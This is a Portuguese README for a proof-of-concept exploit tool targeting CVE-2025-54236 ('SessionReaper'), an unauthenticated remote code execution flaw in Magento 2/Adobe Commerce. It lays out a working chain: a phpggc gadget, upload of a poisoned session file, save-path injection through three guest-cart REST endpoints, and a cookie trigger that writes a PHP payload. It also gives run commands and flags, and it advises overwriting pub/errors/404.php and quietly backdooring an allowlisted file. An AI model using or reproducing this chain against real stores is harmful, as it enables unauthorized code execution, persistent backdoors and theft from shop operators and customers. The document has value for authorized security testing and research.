
PoC Magento Session Reaper - CVE-2025-54236
PoC unificado para CVE-2025-54236 ("SessionReaper"), uma RCE crítica não autenticada no Magento 2 / Adobe Commerce via desserialização aninhada na API REST.
ServiceInputProcessor; a primitiva de exploração é desserialização insegura (CWE-502)Apenas para testes de segurança autorizados. Use exclusivamente em sistemas que você possui ou tenha permissão explícita por escrito para testar.
A ferramenta encadeia três estágios comuns a todos os vetores, mais um gatilho:
phpggc -se -a Guzzle/FW1 <remote_path> <payload.php> constrói um objeto serializado que escreve payload.php em <remote_path> quando desserializado.POST /customer/address_file/uploadsess_<SESSID>media/customer_address/s/e/sess_<SESSID>s/e/--save-pathSession\Config e, via setSavePath() → setOption() → ini_set('session.save_path', ...) (um efeito colateral global do processo), aponta o manipulador de sessão do PHP para o blob carregado.Cookie: PHPSESSID=<SESSID> força session_start() a ler e unserialize() o arquivo envenenado, disparando o gadget e escrevendo o payload.Todos os três vetores alcançam o mesmo sink (context → urlBuilder → session → sessionConfig → savePath). Eles diferem apenas no endpoint, verbo HTTP e módulo Magento envolvido — útil quando um WAF ou um módulo desabilitado bloqueia um endpoint mas não outro.
| Método | Endpoint | Verbo | Ponto de entrada na cadeia |
|---|---|---|---|
order | /rest/<store>/V1/guest-carts/abc/order | PUT | paymentMethod → paymentData → Payment\Helper\Data |
checkmo | /rest/<store>/V1/guest-carts/abc/set-payment-information | POST | paymentMethod → paymentData → Payment\Helper\Data |
address | /rest/<store>/V1/guest-carts/abc/estimate-shipping-methods | POST | address → addressConfig → addressHelper → Customer\Helper\Address |
Nenhum carrinho real é necessário para nenhum vetor. ServiceInputProcessor desserializa os parâmetros do método durante a resolução da entrada — antes do serviço invocar qualquer consulta de carrinho — então um cartId fictício de abc atinge o sink em todos os três. O erro subsequente "carrinho não encontrado" (404/500) é esperado e confirma que o efeito colateral da desserialização já ocorreu.
Uma flag
--skuestá disponível se você quiser que a ferramenta crie um carrinho de convidado real e adicione um produto antes de acionar (verificado via GraphQL). Isso é opcional e não necessário para exploração — existe apenas para ambientes onde você prefere um fluxo de checkout totalmente realista. Omita-a e a ferramenta usará o carrinho fictícioabc.
var/session/). Sessões baseadas em Redis e banco de dados não são afetadas por esta cadeia específica de RCE. Isso não é enumerável remotamente, então deve ser tentado às cegas./customer/address_file/upload acessível sem autenticação.requestsphpggc — detectado automaticamente no PATH, locais comuns de instalação, ou puxado como a imagem Docker ambionics/phpggc como fallbackpayload.php no mesmo diretório que o script (deve começar com <?php)pip install requests
git clone https://github.com/ambionics/phpggc /opt/phpggc # or: docker pull ambionics/phpggc
# order (original vector) — no cart, no credentials
python3 session_reaper.py --host https://target.com --method order
# checkmo — payments endpoint, Spanish store scope for the REST API
python3 session_reaper.py --host https://target.com --method checkmo --api-store es
# address — shipping endpoint
python3 session_reaper.py --host https://target.com --method address --api-store all
# optional: exercise a real cart flow with a known SKU (not required)
python3 session_reaper.py --host https://target.com --method address --sku PROD-001
| Flag | Padrão | Descrição |
|---|---|---|
--host | (obrigatório) | URL base do alvo |
--method | (obrigatório) | address | checkmo | order |
--store | default | Código da loja para a requisição de gatilho (e carrinho, se --sku for usado) |
--api-store | default | Código da loja na URL do endpoint de desserialização (all | es | default | custom) |
--sku | (nenhum) | Opcional. Se definido, cria um carrinho de convidado real com este SKU. Não é necessário. |
--payload-in | payload.php | Payload PHP a ser escrito no alvo |
--payload-out | /var/www/html/pub/errors/404.php | Caminho de escrita remoto (deve ser um local executável pela web — veja nota abaixo) |
--save-path | media/customer_address/s/e/ | savePath injetado na cadeia do gadget |
--phpggc | (auto) | Caminho explícito para o binário phpggc |
--proxy | http://127.0.0.1:8081 | Proxy HTTP (ex.: Burp) |
--no-proxy | desligado | Desabilitar o proxy |
--username / --password | (nenhum) | Credenciais opcionais do cliente para um token Bearer |
A ferramenta usa dois códigos de loja independentes:
--api-store — o escopo na URL da requisição de desserialização (/rest/<api-store>/V1/guest-carts/...), onde ServiceInputProcessor é executado.--store — o escopo para a requisição de gatilho (GET /<store>/) e, se --sku for usado, para as requisições do carrinho.Os códigos de visualização de loja são definidos pelo administrador; não assuma es/fr. Enumere as visualizações de loja ativas primeiro — uma requisição contra um escopo inexistente simplesmente falha.
pub/errors/404.phpA configuração padrão do Nginx do Magento só passa sete arquivos PHP para fastcgi_backend:
index.php, get.php, static.php,
errors/report.php, errors/404.php, errors/503.php, health_check.php
Qualquer outro .php (incluindo qualquer coisa colocada em pub/media/) é negado e nunca será executado. Portanto, o payload deve sobrescrever um desses sete arquivos na lista de permissões em vez de criar um novo. pub/errors/404.php é o padrão porque o Magento o renderiza internamente em qualquer página ausente, então ele dispara frequentemente em uma loja ativa.
OPSEC: sobrescrever
404.phpdiretamente é barulhento (ele executa em cada 404). Em um engajamento real, insira uma backdoor em um arquivo na lista de permissões de forma sutil em vez de sobrescrevê-lo.
--username/--password são necessários apenas se você quiser um token Bearer para uma configuração específica./tmp/sess_<SESSID> é removido na saída.Fornecido apenas para pesquisa e testes de segurança autorizados. O autor não assume nenhuma responsabilidade por uso indevido. Não execute contra sistemas sem permissão explícita.